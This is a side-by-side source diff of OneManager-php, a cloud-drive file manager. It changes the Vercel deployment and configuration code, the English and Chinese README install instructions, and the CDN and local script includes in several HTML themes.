if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
if (isset($_SERVER['HTTP_FLY_CLIENT_IP'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_FLY_CLIENT_IP']; if (isset($_SERVER['HTTP_FLY_CLIENT_IP'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_FLY_CLIENT_IP'];
@ -20,10 +21,12 @@ function getpath() {
if ($p>0) $path = substr($_SERVER['REQUEST_URI'], 0, $p); if ($p>0) $path = substr($_SERVER['REQUEST_URI'], 0, $p);
else $path = $_SERVER['REQUEST_URI']; else $path = $_SERVER['REQUEST_URI'];
$path = path_format( substr($path, strlen($_SERVER['base_path'])) ); $path = path_format( substr($path, strlen($_SERVER['base_path'])) );
$_SERVER['DOCUMENT_ROOT'] = '/var/task/user';
return $path; return $path;
} }
function getGET() { function getGET()
{
if (!$_POST) { if (!$_POST) {
if (!!$HTTP_RAW_POST_DATA) { if (!!$HTTP_RAW_POST_DATA) {
$tmpdata = $HTTP_RAW_POST_DATA; $tmpdata = $HTTP_RAW_POST_DATA;
@ -62,7 +65,8 @@ function getGET() {
} }
} }
function getConfig($str, $disktag = '') { function getConfig($str, $disktag = '')
{
$projectPath = splitlast(__DIR__, '/')[0]; $projectPath = splitlast(__DIR__, '/')[0];
$configPath = $projectPath . '/.data/config.php'; $configPath = $projectPath . '/.data/config.php';
$s = file_get_contents($configPath); $s = file_get_contents($configPath);
@ -85,7 +89,8 @@ function getConfig($str, $disktag = '') {
return ''; return '';
} }
function setConfig($arr, $disktag = '') { function setConfig($arr, $disktag = '')
{
if ($disktag=='') $disktag = $_SERVER['disktag']; if ($disktag=='') $disktag = $_SERVER['disktag'];
$projectPath = splitlast(__DIR__, '/')[0]; $projectPath = splitlast(__DIR__, '/')[0];
$configPath = $projectPath . '/.data/config.php'; $configPath = $projectPath . '/.data/config.php';
@ -139,7 +144,6 @@ function setConfig($arr, $disktag = '') {
$envs[$arr['disktag_rename']] = ''; $envs[$arr['disktag_rename']] = '';
} else { } else {
$disktags = array_unique($disktags); $disktags = array_unique($disktags);
$disktag_s = "";
foreach ($disktags as $disktag) if ($disktag!='') $disktag_s .= $disktag . '|'; foreach ($disktags as $disktag) if ($disktag!='') $disktag_s .= $disktag . '|';
if ($disktag_s!='') $envs['disktag'] = substr($disktag_s, 0, -1); if ($disktag_s!='') $envs['disktag'] = substr($disktag_s, 0, -1);
else $envs['disktag'] = ''; else $envs['disktag'] = '';
@ -153,7 +157,8 @@ function setConfig($arr, $disktag = '') {
return setVercelConfig($envs, getConfig('HerokuappId'), getConfig('APIKey')); return setVercelConfig($envs, getConfig('HerokuappId'), getConfig('APIKey'));
} }
function install() { function install()
{
global $constStr; global $constStr;
if ($_GET['install1']) { if ($_GET['install1']) {
if ($_POST['admin']!='') { if ($_POST['admin']!='') {
@ -171,15 +176,9 @@ function install() {
$header["Content-Type"] = "application/json"; $header["Content-Type"] = "application/json";
$aliases = json_decode(curl("GET", "https://api.vercel.com/v3/now/aliases", "", $header)['body'], true); $aliases = json_decode(curl("GET", "https://api.vercel.com/v3/now/aliases", "", $header)['body'], true);
$host = splitfirst($_SERVER["host"], "//")[1]; $host = splitfirst($_SERVER["host"], "//")[1];
$aliases1 = [];
foreach ($aliases["aliases"] as $key => $aliase) { foreach ($aliases["aliases"] as $key => $aliase) {
$aliases1[] = $aliase["alias"];
if ($host==$aliase["alias"]) $projectId = $aliase["projectId"]; if ($host==$aliase["alias"]) $projectId = $aliase["projectId"];
} }
if (!$projectId) {
$html = 'Please visit from one of: ' . json_encode($aliases1, JSON_PRETTY_PRINT);
return message($html, 'Error', 400);
}
$tmp['HerokuappId'] = $projectId; $tmp['HerokuappId'] = $projectId;
$response = json_decode(setVercelConfig($tmp, $projectId, $APIKey), true); $response = json_decode(setVercelConfig($tmp, $projectId, $APIKey), true);
@ -205,13 +204,12 @@ function install() {
} }
}, 1000); }, 1000);
</script>'; </script>';
$title = "Success";
return message($html, $title, 201, 1); return message($html, $title, 201, 1);
} }
} }
} }
if ($_GET['install0']) { if ($_GET['install0']) {
$html = ' $html .= '
<form action="?install1" method="post" onsubmit="return notnull(this);"> <form action="?install1" method="post" onsubmit="return notnull(this);">
language:<br>'; language:<br>';
foreach ($constStr['languages'] as $key1 => $value1) { foreach ($constStr['languages'] as $key1 => $value1) {
@ -260,17 +258,18 @@ language:<br>';
return message($html, $title, 201); return message($html, $title, 201);
} }
//if (substr($_SERVER["host"], -10)=="vercel.app") { if (substr($_SERVER["host"], -10)=="vercel.app") {
$html = '<a href="?install0">' . getconstStr('ClickInstall') . '</a>, ' . getconstStr('LogintoBind'); $html .= '<a href="?install0">' . getconstStr('ClickInstall') . '</a>, ' . getconstStr('LogintoBind');
$html .= "<br>Remember: you MUST wait 30-60s after each operate / do some change, that make sure Vercel has done the building<br>" ; $html .= "<br>Remember: you MUST wait 30-60s after each operate / do some change, that make sure Vercel has done the building<br>" ;
//} else { } else {
// $html.= "Please visit form *.vercel.app"; $html.= "Please visit form *.vercel.app";
//} }
$title = 'Install'; $title = 'Install';
return message($html, $title, 201); return message($html, $title, 201);
} }
function copyFolder($from, $to) { function copyFolder($from, $to)
{
if (substr($from, -1)=='/') $from = substr($from, 0, -1); if (substr($from, -1)=='/') $from = substr($from, 0, -1);
if (substr($to, -1)=='/') $to = substr($to, 0, -1); if (substr($to, -1)=='/') $to = substr($to, 0, -1);
if (!file_exists($to)) mkdir($to, 0777, 1); if (!file_exists($to)) mkdir($to, 0777, 1);
@ -290,7 +289,8 @@ function copyFolder($from, $to) {
return 1; return 1;
} }
function setVercelConfig($envs, $appId, $token) { function setVercelConfig($envs, $appId, $token)
{
sortConfig($envs); sortConfig($envs);
$outPath = '/tmp/code/'; $outPath = '/tmp/code/';
$outPath_Api = $outPath . 'api/'; $outPath_Api = $outPath . 'api/';
@ -305,7 +305,8 @@ function setVercelConfig($envs, $appId, $token) {
return VercelUpdate($appId, $token, $outPath); return VercelUpdate($appId, $token, $outPath);
} }
function VercelUpdate($appId, $token, $sourcePath = "") { function VercelUpdate($appId, $token, $sourcePath = "")
{
if (checkBuilding($appId, $token)) return '{"error":{"message":"Another building is in progress."}}'; if (checkBuilding($appId, $token)) return '{"error":{"message":"Another building is in progress."}}';
$url = "https://api.vercel.com/v13/deployments"; $url = "https://api.vercel.com/v13/deployments";
$header["Authorization"] = "Bearer " . $token; $header["Authorization"] = "Bearer " . $token;
@ -315,7 +316,7 @@ function VercelUpdate($appId, $token, $sourcePath = "") {
$data["target"] = "production"; $data["target"] = "production";
$data["routes"][0]["src"] = "/(.*)"; $data["routes"][0]["src"] = "/(.*)";
$data["routes"][0]["dest"] = "/api/index.php"; $data["routes"][0]["dest"] = "/api/index.php";
$data["functions"]["api/index.php"]["runtime"] = "vercel-php@0.6.0"; $data["functions"]["api/index.php"]["runtime"] = "vercel-php@0.5.1";
if ($sourcePath=="") $sourcePath = splitlast(splitlast(__DIR__, "/")[0], "/")[0]; if ($sourcePath=="") $sourcePath = splitlast(splitlast(__DIR__, "/")[0], "/")[0];
//echo $sourcePath . "<br>"; //echo $sourcePath . "<br>";
getEachFiles($file, $sourcePath); getEachFiles($file, $sourcePath);
@ -329,7 +330,8 @@ function VercelUpdate($appId, $token, $sourcePath = "") {
return json_encode($result); return json_encode($result);
} }
function checkBuilding($projectId, $token) { function checkBuilding($projectId, $token)
{
$r = 0; $r = 0;
$url = "https://api.vercel.com/v6/deployments/?projectId=" . $projectId; $url = "https://api.vercel.com/v6/deployments/?projectId=" . $projectId;
$header["Authorization"] = "Bearer " . $token; $header["Authorization"] = "Bearer " . $token;
@ -338,14 +340,15 @@ function checkBuilding($projectId, $token) {
//echo json_encode($response, JSON_PRETTY_PRINT) . " ,res<br>"; //echo json_encode($response, JSON_PRETTY_PRINT) . " ,res<br>";
$result = json_decode($response["body"], true); $result = json_decode($response["body"], true);
foreach ( $result['deployments'] as $deployment ) { foreach ( $result['deployments'] as $deployment ) {
if ($deployment['state'] !== "READY" && $deployment['state'] !== "ERROR") $r++; if ($deployment['state']!=="READY") $r++;
} }
return $r; return $r;
//if ($r===0) return true; //if ($r===0) return true;
//else return false; //else return false;
} }
function getEachFiles(&$file, $base, $path = "") { function getEachFiles(&$file, $base, $path = "")
{
//if (substr($base, -1)=="/") $base = substr($base, 0, -1); //if (substr($base, -1)=="/") $base = substr($base, 0, -1);
//if (substr($path, -1)=="/") $path = substr($path, 0, -1); //if (substr($path, -1)=="/") $path = substr($path, 0, -1);
$handler=opendir(path_format($base . "/" . $path)); $handler=opendir(path_format($base . "/" . $path));
@ -368,21 +371,25 @@ function getEachFiles(&$file, $base, $path = "") {
return json_encode( [ 'response' => 'success' ] ); return json_encode( [ 'response' => 'success' ] );
} }
function api_error($response) { function api_error($response)
{
return isset($response['error']); return isset($response['error']);
} }
function api_error_msg($response) { function api_error_msg($response)
{
return $response['error']['code'] . '<br> return $response['error']['code'] . '<br>
' . $response['error']['message'] . '<br> ' . $response['error']['message'] . '<br>
<button onclick="location.href = location.href;">'.getconstStr('Refresh').'</button>'; <button onclick="location.href = location.href;">'.getconstStr('Refresh').'</button>';
} }
function setConfigResponse($response) { function setConfigResponse($response)
{
return json_decode($response, true); return json_decode($response, true);
} }
function OnekeyUpate($GitSource = 'Github', $auth = 'qkqpttgf', $project = 'OneManager-php', $branch = 'master') { function OnekeyUpate($GitSource = 'Github', $auth = 'qkqpttgf', $project = 'OneManager-php', $branch = 'master')
{
$tmppath = '/tmp'; $tmppath = '/tmp';
if ($GitSource=='Github') { if ($GitSource=='Github') {
@ -418,14 +425,12 @@ function OnekeyUpate($GitSource = 'Github', $auth = 'qkqpttgf', $project = 'OneM
} }
function WaitFunction($deployid = '') { function WaitFunction($deployid = '') {
if ($deployid == '1') { if ($buildId=='1') {
$tmp['stat'] = 400; $tmp['stat'] = 400;
$tmp['body'] = 'id must provided.'; $tmp['body'] = 'id must provided.';
return $tmp; return $tmp;
} }
$token = getConfig('APIKey'); $header["Authorization"] = "Bearer " . getConfig('APIKey');
if ($token != '') {
$header["Authorization"] = "Bearer " . $token;
$header["Content-Type"] = "application/json"; $header["Content-Type"] = "application/json";
$url = "https://api.vercel.com/v13/deployments/" . $deployid; $url = "https://api.vercel.com/v13/deployments/" . $deployid;
$response = curl("GET", $url, "", $header); $response = curl("GET", $url, "", $header);
@ -438,9 +443,6 @@ function WaitFunction($deployid = '') {
$response['body'] .= $url; $response['body'] .= $url;
return $response; return $response;
} }
} else {
return false;
}
} }
function changeAuthKey() { function changeAuthKey() {
@ -466,7 +468,6 @@ function changeAuthKey() {
} }
}, 1000); }, 1000);
</script>'; </script>';
$title = "Success";
return message($html, $title, 201, 1); return message($html, $title, 201, 1);
} }
} }

View File

@ -21,6 +21,7 @@ function getpath()
if ($p>0) $path = substr($_SERVER['REQUEST_URI'], 0, $p); if ($p>0) $path = substr($_SERVER['REQUEST_URI'], 0, $p);
else $path = $_SERVER['REQUEST_URI']; else $path = $_SERVER['REQUEST_URI'];
$path = path_format( substr($path, strlen($_SERVER['base_path'])) ); $path = path_format( substr($path, strlen($_SERVER['base_path'])) );
$_SERVER['DOCUMENT_ROOT'] = '/var/task/user';
return $path; return $path;
} }

View File

@ -41,22 +41,19 @@
https://onemanager.qkqpttgf.repl.co/ https://onemanager.qkqpttgf.repl.co/
### How to Install ### Notice
A:
> 1. Click the "+" or "Create Repl", click the `Import from Github`; > `Import from Github` useing the `.replit` file in code files will cause an empty web page, may someone help me?
> 2. Input `https://github.com/qkqpttgf/OneManager-php` in "GitHub URL", then it will auto show "Language" - "PHP Web Server", Click the "Import from Github";
> 3. After done, click the green button "Run", it will show the web page on the right, you MUST open it in a new tab or window. ### How to Install
B:
> 1. Click the "+" or "Create Repl", find template "PHP Web Server" (via input "php"), input a name for your project in "Title" or left it default, Click the "+ Create Repl". > 1. Click the "+" or "Create Repl", find template "PHP Web Server" (via input "php"), input a name for your project in "Title" or left it default, Click the "+ Create Repl".
> 2. After done, input `git clone https://github.com/qkqpttgf/OneManager-php && mv -b OneManager-php/* ./ && mv -b OneManager-php/.[^.]* ./ && rm -rf *~ && rm -rf OneManager-php` to Console or Shell on the right, press "Enter" to run it. > 2. After done, input `git clone https://github.com/qkqpttgf/OneManager-php && mv -b OneManager-php/* ./ && mv -b OneManager-php/.[^.]* ./ && rm -rf *~ && rm -rf OneManager-php` to Console or Shell on the right, press "Enter" to run it.
> 3. Click the green button "Run", it will show the web page on the right, you MUST open it in a new tab or window. > 3. Click the green button "Run", it will show the web page on the right, you can open it in a new tab or window.
--- ---
# ~~Deploy to Heroku~~ # Deploy to Heroku
## Dyno will no longer free
### Official ### Official
@ -90,9 +87,7 @@ B:
--- ---
# ~~Deploy to Tencent Serverless Cloud Function (SCF)~~ # Deploy to Tencent Serverless Cloud Function (SCF)
## SCF no longer free
### Official ### Official

View File

@ -43,22 +43,19 @@
https://onemanager.qkqpttgf.repl.co/ https://onemanager.qkqpttgf.repl.co/
### 安装 ### 注意
A:
> 1. 点右上的 "+" 或左上的 "+ Create Repl",点击`Import from Github` > 直接`Import from Github`通过`.replit`文件指定php时网页会空白有人帮忙解决吗
> 2. 在"GitHub URL"中输入`https://github.com/qkqpttgf/OneManager-php`,会自动弹出显示"Language"与"PHP Web Server",点下面的"Import from Github"。
> 3. 结束后,点上方的绿色 "Run" 按钮,右边会显示一个网页,你要在新窗口打开它来安装,不然不能登录。 ### 安装
B:
> 1. 点右上的 "+" 或左上的 "+ Create Repl"template中输入php点选"PHP Web Server",在"Title"里输入你想要的名称或者让它默认, 点下面的"+ Create Repl"。 > 1. 点右上的 "+" 或左上的 "+ Create Repl"template中输入php点选"PHP Web Server",在"Title"里输入你想要的名称或者让它默认, 点下面的"+ Create Repl"。
> 2. 结束后在右边的Console或Shell里输入 `git clone https://github.com/qkqpttgf/OneManager-php && mv -b OneManager-php/* ./ && mv -b OneManager-php/.[^.]* ./ && rm -rf *~ && rm -rf OneManager-php` 敲回车运行。 > 2. 结束后在右边的Console或Shell里输入 `git clone https://github.com/qkqpttgf/OneManager-php && mv -b OneManager-php/* ./ && mv -b OneManager-php/.[^.]* ./ && rm -rf *~ && rm -rf OneManager-php` 敲回车运行。
> 3. 点上方的绿色 "Run" 按钮,右边会显示一个网页,你要在新窗口打开它来安装,不然不能登录。 > 3. 点上方的绿色 "Run" 按钮,右边会显示一个网页,你要在新窗口打开它来安装,不然不能登录。
--- ---
# ~~部署到 Heroku~~ # 部署到 Heroku
## Dyno套餐不再免费
### 官网 ### 官网
@ -90,9 +87,7 @@ B:
--- ---
# ~~部署到腾讯无服务器云函数 Serverless Cloud Function (SCF)~~ # 部署到腾讯无服务器云函数 Serverless Cloud Function (SCF)
## SCF要收套餐费用了
### 官网 ### 官网

View File

@ -484,11 +484,11 @@
</body> </body>
<!--MdRequireStart--><link rel="stylesheet" href="https://unpkg.com/github-markdown-css@3.0.1/github-markdown.css"> <!--MdRequireStart--><link rel="stylesheet" href="https://unpkg.com/github-markdown-css@3.0.1/github-markdown.css">
<script type="text/javascript" src="?jsFile=marked.js"></script><!--MdRequireEnd--> <script type="text/javascript" src="https://unpkg.com/marked@0.6.2/lib/marked.js"></script><!--MdRequireEnd-->
<!--ListStart--> <!--ListStart-->
<!--GuestUploadStart--><script type="text/javascript" src="?jsFile=spark-md5.min.js"></script><!--GuestUploadEnd--> <!--GuestUploadStart--><script type="text/javascript" src="//cdn.bootcss.com/spark-md5/3.0.0/spark-md5.min.js"></script><!--GuestUploadEnd-->
<!--AliyundriveUploadJsStart--><script src="https://unpkg.com/bignumber.js@9.0.2/bignumber.js"></script> <!--AliyundriveUploadJsStart--><script src="https://unpkg.com/bignumber.js@9.0.2/bignumber.js"></script>
<script src="?jsFile=sha1.min.js"></script><!--AliyundriveUploadJsEnd--> <script src="https://www.unpkg.com/js-sha1@0.6.0/src/sha1.js"></script><!--AliyundriveUploadJsEnd-->
<!--IsFileStart--><!--IspdfFileStart--><script src="https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd--> <!--IsFileStart--><!--IspdfFileStart--><script src="https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd-->
<!--ListEnd--> <!--ListEnd-->
<script type="text/javascript"> <script type="text/javascript">
@ -655,6 +655,7 @@
addVideos(["<!--FileEncodeUrl-->"]); addVideos(["<!--FileEncodeUrl-->"]);
<!--IsvideoFileEnd--> <!--IsvideoFileEnd-->
<!--IspdfFileStart--> <!--IspdfFileStart-->
//cdn.bootcss.com/pdf.js/2.4.456/pdf.worker.min.js
pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.worker.min.js'; pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.worker.min.js';
var loadingTask = pdfjsLib.getDocument({ var loadingTask = pdfjsLib.getDocument({
url: "<!--FileDownUrl-->", url: "<!--FileDownUrl-->",
@ -1763,6 +1764,6 @@
<!--EncryptedEnd--> <!--EncryptedEnd-->
</script> </script>
<script src="https://www.unpkg.com/ionicons@6.0.1/dist/ionicons.js"></script> <script src="https://www.unpkg.com/ionicons@6.0.1/dist/ionicons.js"></script>
<!--LoginStart--><script src="?jsFile=sha1.min.js"></script><!--LoginEnd--> <!--LoginStart--><script src="https://www.unpkg.com/js-sha1@0.6.0/src/sha1.js"></script><!--LoginEnd-->
<!--customScript--> <!--customScript-->
</html> </html>

View File

@ -510,11 +510,11 @@
</body> </body>
<!--ListStart--> <!--ListStart-->
<!--MdRequireStart--><link rel="stylesheet" href="https://unpkg.com/github-markdown-css@3.0.1/github-markdown.css"> <!--MdRequireStart--><link rel="stylesheet" href="//unpkg.zhimg.com/github-markdown-css@3.0.1/github-markdown.css">
<script type="text/javascript" src="?jsFile=marked.js"></script><!--MdRequireEnd--> <script type="text/javascript" src="//unpkg.zhimg.com/marked@0.6.2/marked.min.js"></script><!--MdRequireEnd-->
<!--GuestUploadStart--><script type="text/javascript" src="?jsFile=spark-md5.min.js"></script><!--GuestUploadEnd--> <!--GuestUploadStart--><script type="text/javascript" src="//cdn.bootcss.com/spark-md5/3.0.0/spark-md5.min.js"></script><!--GuestUploadEnd-->
<!--AliyundriveUploadJsStart--><script src="?jsFile=sha1.min.js"></script><!--AliyundriveUploadJsEnd--> <!--AliyundriveUploadJsStart--><script src="https://cdn.bootcss.com/js-sha1/0.6.0/sha1.min.js"></script><!--AliyundriveUploadJsEnd-->
<!--IsFileStart--><!--IspdfFileStart--><script src="https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd--> <!--IsFileStart--><!--IspdfFileStart--><script src="//cdn.bootcss.com/pdf.js/2.3.200/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd-->
<!--ListEnd--> <!--ListEnd-->
<style type="text/css"> <style type="text/css">
.markdown-body{font-size: 14px;} .markdown-body{font-size: 14px;}
@ -642,10 +642,10 @@
addVideos(['<!--FileEncodeUrl-->']); addVideos(['<!--FileEncodeUrl-->']);
<!--IsvideoFileEnd--> <!--IsvideoFileEnd-->
<!--IspdfFileStart--> <!--IspdfFileStart-->
pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.worker.min.js'; pdfjsLib.GlobalWorkerOptions.workerSrc = '//cdn.bootcss.com/pdf.js/2.3.200/pdf.worker.min.js';
var loadingTask = pdfjsLib.getDocument({ var loadingTask = pdfjsLib.getDocument({
url: '<!--FileDownUrl-->', url: '<!--FileDownUrl-->',
cMapUrl: "https://unpkg.com/pdfjs-dist@2.4.456/cmaps/", cMapUrl: "//cdn.jsdelivr.net/npm/pdfjs-dist@2.2.228/cmaps/",
cMapPacked: true, cMapPacked: true,
rangeChunkSize: 65535 rangeChunkSize: 65535
}); });
@ -1698,6 +1698,6 @@
<!--EncryptedEnd--> <!--EncryptedEnd-->
</script> </script>
<script src="https://cdn.jsdelivr.net/npm/ionicons@5.5.2/dist/ionicons/ionicons.js"></script> <script src="https://cdn.jsdelivr.net/npm/ionicons@5.5.2/dist/ionicons/ionicons.js"></script>
<!--LoginStart--><script src="?jsFile=sha1.min.js"></script><!--LoginEnd--> <!--LoginStart--><script src="https://cdn.bootcss.com/js-sha1/0.6.0/sha1.min.js"></script><!--LoginEnd-->
<!--customScript--> <!--customScript-->
</html> </html>

View File

@ -89,10 +89,9 @@
<span aria-hidden="true">&times;</span> <span aria-hidden="true">&times;</span>
</button> </button>
</div> </div>
<form action="<!--IsPreview?-->login=admin" method="post" onsubmit="return sha1loginpass(this);"> <form action="?login=admin" method="post">
<div class="modal-body"> <div class="modal-body">
<input class="form-control" id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->"> <input class="form-control" id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
<input name="timestamp" type="hidden">
</div> </div>
<div class="modal-footer"> <div class="modal-footer">
<input class="btn btn-primary" type="submit" value="<!--constStr@Login-->"></button> <input class="btn btn-primary" type="submit" value="<!--constStr@Login-->"></button>
@ -669,7 +668,7 @@ return false;
<!--IsFolderEnd--> <!--IsFolderEnd-->
<!--AdminEnd--> <!--AdminEnd-->
<!--LoginStart--> <!--LoginStart-->
<script src="?jsFile=sha1.min.js"></script>
<!--LoginEnd--> <!--LoginEnd-->
<p class="text-center text-muted"><a href="https://github.com/qkqpttgf/OneManager-php" class="text-muted">OneManager</a> By 逸笙 Theme By Nchyn</p> <p class="text-center text-muted"><a href="https://github.com/qkqpttgf/OneManager-php" class="text-muted">OneManager</a> By 逸笙 Theme By Nchyn</p>
<p class="text-center" style="color: rgba(247,247,249,0);"><!--FootStr--></p> <p class="text-center" style="color: rgba(247,247,249,0);"><!--FootStr--></p>
@ -677,11 +676,11 @@ return false;
</body> </body>
<!--ListStart--> <!--ListStart-->
<!--MdRequireStart--><link rel="stylesheet" href="https://unpkg.com/github-markdown-css@3.0.1/github-markdown.css"> <!--MdRequireStart--><link rel="stylesheet" href="//unpkg.zhimg.com/github-markdown-css@3.0.1/github-markdown.css">
<script type="text/javascript" src="?jsFile=marked.js"></script><!--MdRequireEnd--> <script type="text/javascript" src="//unpkg.zhimg.com/marked@0.6.2/marked.min.js"></script><!--MdRequireEnd-->
<!--GuestUploadStart--><script type="text/javascript" src="?jsFile=spark-md5.min.js"></script><!--GuestUploadEnd--> <!--GuestUploadStart--><script type="text/javascript" src="//cdn.bootcss.com/spark-md5/3.0.0/spark-md5.min.js"></script><!--GuestUploadEnd-->
<!--AliyundriveUploadJsStart--><script src="?jsFile=sha1.min.js"></script><!--AliyundriveUploadJsEnd--> <!--AliyundriveUploadJsStart--><script src="//cdn.bootcdn.net/ajax/libs/js-sha1/0.6.0/sha1.min.js"></script><!--AliyundriveUploadJsEnd-->
<!--IsFileStart--><!--IspdfFileStart--><script src="https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd--> <!--IsFileStart--><!--IspdfFileStart--><script src="//cdn.bootcss.com/pdf.js/2.3.200/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd-->
<!--ListEnd--> <!--ListEnd-->
<script type="text/javascript"> <script type="text/javascript">
function changelanguage(str) function changelanguage(str)
@ -803,10 +802,10 @@ return false;
addVideos(['<!--FileEncodeUrl-->']); addVideos(['<!--FileEncodeUrl-->']);
<!--IsvideoFileEnd--> <!--IsvideoFileEnd-->
<!--IspdfFileStart--> <!--IspdfFileStart-->
pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.worker.min.js'; pdfjsLib.GlobalWorkerOptions.workerSrc = '//cdn.bootcss.com/pdf.js/2.3.200/pdf.worker.min.js';
var loadingTask = pdfjsLib.getDocument({ var loadingTask = pdfjsLib.getDocument({
url: '<!--FileDownUrl-->', url: '<!--FileDownUrl-->',
cMapUrl: "https://unpkg.com/pdfjs-dist@2.4.456/cmaps/", cMapUrl: "//cdn.jsdelivr.net/npm/pdfjs-dist@2.2.228/cmaps/",
cMapPacked: true, cMapPacked: true,
rangeChunkSize: 65535 rangeChunkSize: 65535
}); });
@ -1746,35 +1745,6 @@ return false;
document.getElementById('login_div').style.top=(window.innerHeight-document.getElementById('login_div').offsetHeight)/2+document.body.scrollTop +'px'; document.getElementById('login_div').style.top=(window.innerHeight-document.getElementById('login_div').offsetHeight)/2+document.body.scrollTop +'px';
document.getElementById('login_input').focus(); document.getElementById('login_input').focus();
} }
function sha1loginpass(f) {
if (f.password1.value=="") return false;
try {
timestamp = new Date().getTime() + "";
timestamp = timestamp.substr(0, timestamp.length-3);
f.timestamp.value = timestamp;
f.password1.value = sha1(timestamp + "" + f.password1.value);
return true;
} catch {
//alert("sha1.js not loaded.");
if (confirm("sha1.js not loaded.\n\nLoad from program?")) loadjs("?jsFile=sha1.min.js");
return false;
}
}
function loadjs(url) {
var xhr = new XMLHttpRequest;
xhr.open("GET", url);
xhr.onload = function(e) {
if (xhr.status==200) {
var script = document.createElement("script");
script.type = "text/javascript";
script.text = xhr.responseText;
document.body.appendChild(script);
} else {
console.log(xhr.response);
}
}
xhr.send(null);
}
<!--LoginEnd--> <!--LoginEnd-->
<!--EncryptedStart--> <!--EncryptedStart-->
document.getElementById('password1').focus(); document.getElementById('password1').focus();

View File

@ -145,8 +145,8 @@
</div> </div>
<!--IsofficeFileEnd--> <!--IsofficeFileEnd-->
<!--IsvideoFileStart--> <!--IsvideoFileStart-->
<link class="dplayer-css" rel="stylesheet" href="https://fastly.jsdelivr.net/npm/dplayer/dist/DPlayer.min.css"> <link class="dplayer-css" rel="stylesheet" href="https://cdn.jsdelivr.net/npm/dplayer/dist/DPlayer.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/dplayer/1.27.0/DPlayer.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/dplayer/dist/DPlayer.min.js"></script>
<div class="nexmoe-item"> <div class="nexmoe-item">
<div class="mdui-center" id="dplayer"></div> <div class="mdui-center" id="dplayer"></div>
</div> </div>
@ -283,8 +283,8 @@
<!--ShowThumbnailsEnd--> <!--ShowThumbnailsEnd-->
<!--IsFolderEnd--> <!--IsFolderEnd-->
<!--ListEnd--> <!--ListEnd-->
<!--MdRequireStart--><link rel="stylesheet" href="https://unpkg.com/github-markdown-css@3.0.1/github-markdown.css"> <!--MdRequireStart--><link rel="stylesheet" href="//unpkg.zhimg.com/github-markdown-css@3.0.1/github-markdown.css">
<script type="text/javascript" src="?jsFile=marked.js"></script><!--MdRequireEnd--> <script type="text/javascript" src="//unpkg.zhimg.com/marked@0.6.2/marked.min.js"></script><!--MdRequireEnd-->
<script> <script>
<!--MorePageStart--> <!--MorePageStart-->
function nextpage(num) { function nextpage(num) {

View File

@ -374,8 +374,8 @@
<!--ListEnd--> <!--ListEnd-->
<script src="//cdn.jsdelivr.net/gh/mcstudios/glightbox/dist/js/glightbox.min.js"></script> <script src="//cdn.jsdelivr.net/gh/mcstudios/glightbox/dist/js/glightbox.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/aplayer/dist/APlayer.min.js"></script> <script src="//cdn.jsdelivr.net/npm/aplayer/dist/APlayer.min.js"></script>
<!--MdRequireStart--><link rel="stylesheet" href="https://unpkg.com/github-markdown-css@3.0.1/github-markdown.css"> <!--MdRequireStart--><link rel="stylesheet" href="//unpkg.zhimg.com/github-markdown-css@3.0.1/github-markdown.css">
<script type="text/javascript" src="?jsFile=marked.js"></script><!--MdRequireEnd--> <script type="text/javascript" src="//unpkg.zhimg.com/marked@0.6.2/marked.min.js"></script><!--MdRequireEnd-->
<script> <script>
<!--MorePageStart--> <!--MorePageStart-->
function nextpage(num) { function nextpage(num) {

View File

@ -434,11 +434,11 @@
</body> </body>
<!--ListStart--> <!--ListStart-->
<!--MdRequireStart--><link rel="stylesheet" href="https://unpkg.com/github-markdown-css@3.0.1/github-markdown.css"> <!--MdRequireStart--><link rel="stylesheet" href="//unpkg.zhimg.com/github-markdown-css@3.0.1/github-markdown.css">
<script type="text/javascript" src="?jsFile=marked.js"></script><!--MdRequireEnd--> <script type="text/javascript" src="//unpkg.zhimg.com/marked@0.6.2/marked.min.js"></script><!--MdRequireEnd-->
<!--GuestUploadStart--><script type="text/javascript" src="?jsFile=spark-md5.min.js"></script><!--GuestUploadEnd--> <!--GuestUploadStart--><script type="text/javascript" src="//cdn.bootcss.com/spark-md5/3.0.0/spark-md5.min.js"></script><!--GuestUploadEnd-->
<!--AliyundriveUploadJsStart--><script src="?jsFile=sha1.min.js"></script><!--AliyundriveUploadJsEnd--> <!--AliyundriveUploadJsStart--><script src="https://cdn.bootcss.com/js-sha1/0.6.0/sha1.min.js"></script><!--AliyundriveUploadJsEnd-->
<!--IsFileStart--><!--IspdfFileStart--><script src="https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd--> <!--IsFileStart--><!--IspdfFileStart--><script src="//cdn.bootcss.com/pdf.js/2.3.200/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd-->
<!--ListEnd--> <!--ListEnd-->
<script type="text/javascript"> <script type="text/javascript">
function changelanguage(str) function changelanguage(str)
@ -564,10 +564,10 @@
